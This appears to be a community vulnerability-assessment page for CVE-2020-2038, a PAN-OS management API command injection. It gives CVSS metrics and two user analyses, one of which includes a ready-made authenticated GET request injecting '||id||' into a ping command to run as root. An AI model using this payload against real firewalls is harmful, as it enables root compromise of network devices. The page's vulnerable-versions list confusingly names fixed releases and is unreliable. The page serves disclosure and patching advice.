Attacker Value
Very High
(2 users assessed)
Exploitability
Moderate
(2 users assessed)
User Interaction
None
Privileges Required
High
Attack Vector
Network
1

CVE-2020-2038

Disclosure Date: September 09, 2020 •
CVE-2020-2038 CVSS v3 Base Score: 7.2
Add MITRE ATT&CK tactics and techniques that apply to this CVE.

Description

An OS Command Injection vulnerability in the PAN-OS management interface that allows authenticated administrators to execute arbitrary OS commands with root privileges. This issue impacts: PAN-OS 9.0 versions earlier than 9.0.10; PAN-OS 9.1 versions earlier than 9.1.4; PAN-OS 10.0 versions earlier than 10.0.1.

Add Assessment

2
Ratings
  • Attacker Value
    Very High
  • Exploitability
    Medium
Common in enterpriseGives privileged accessVulnerable in default configurationAuthenticated
Technical Analysis

A textbook command injection vulnerability.

An authenticated user is able to send whats referred to as op (operational mode command) requests to the API. One of the operational mode commands supported is a ping request that gets run as root by the server. Intended to allow users to send a host address to the server and for the server to then ping that host to see if it responds to ICMP requests. However, as you may have guessed, the request to the API doesn’t get sanitized well enough and you can inject/ append OS commands to the end of the ping request which then get executed as root.

Once authenticated, you can use the following GET request to run the id command:

GET /api/?cmd=%3ccms-ping%3e%3chost%3e151.7.17.75%3c/host%3e%3ccount%3e22%3c/count%3e%3cpattern%3e111%3c%21%5bCDATA%5b%7c%7cid%7c%7c%5d%5d%3e%3c/pattern%3e%3c/cms-ping%3e&type=op&key=LUFRPT04bEFiL1gzV1VNS3JHTkZ5dStqaURmS2ZoWXM9R24zVDdib0NMdjZIWDVqTGJqUXVhN3VPWVFSWW8yY0dsZUVKUTRsS004UEhMVHhOSVRES3BEcDR0TUJCZUg0aQ%3d%3d HTTP/1.1
Host: 1.1.1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0
Cookie: PHPSESSID=ff726cde08ee6755f82453a00685a2c1

Despite needing authentication, this is pretty bad. An attacker getting root access to your firewall will be enough to ruin your day. Palo Alto Network firewalls are popular and widely deployed, patch if you haven’t already!

Log in to Add Reply
1
Ratings
  • Attacker Value
    Very High
  • Exploitability
    Low
Common in enterpriseGives privileged accessAuthenticatedRequires elevated access
Technical Analysis

Not enough is known about this vulnerability, but this requires admin creds to the management interface, so mitigate this by choosing secure passphrases, securing credential storage, etc.

Log in to Add Reply
CVSS V3 Severity and Metrics
Base Score:
7.2 High
Impact Score:
5.9
Exploitability Score:
1.2
Vector:
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Attack Vector (AV):
Network
Attack Complexity (AC):
Low
Privileges Required (PR):
High
User Interaction (UI):
None
Scope (S):
Unchanged
Confidentiality (C):
High
Integrity (I):
High
Availability (A):
High

General Information

Offensive Application
Unknown
Utility Class
Unknown
Ports
Unknown
OS
Unknown
Vulnerable Versions
PAN-OS 10.0.1
PAN-OS 9.0.10
PAN-OS 9.1.4
PAN-OS 10.0.1
PAN-OS 9.0.10
PAN-OS 9.1.4
PAN-OS 8.1.*
Prerequisites
Unknown
Discovered By
Unknown
PoC Author
Unknown
Metasploit Module
Unknown
Reporter
Unknown

Vendors

  • paloaltonetworks

Products

  • pan-os

Additional Info

Authenticated
Unknown
Exploitable
Unknown
Reliability
Unknown
Stability
Unknown
Available Mitigations
Unknown
Shelf Life
Unknown
Userbase/Installbase
Unknown
Patch Effectiveness
Unknown
Technical Analysis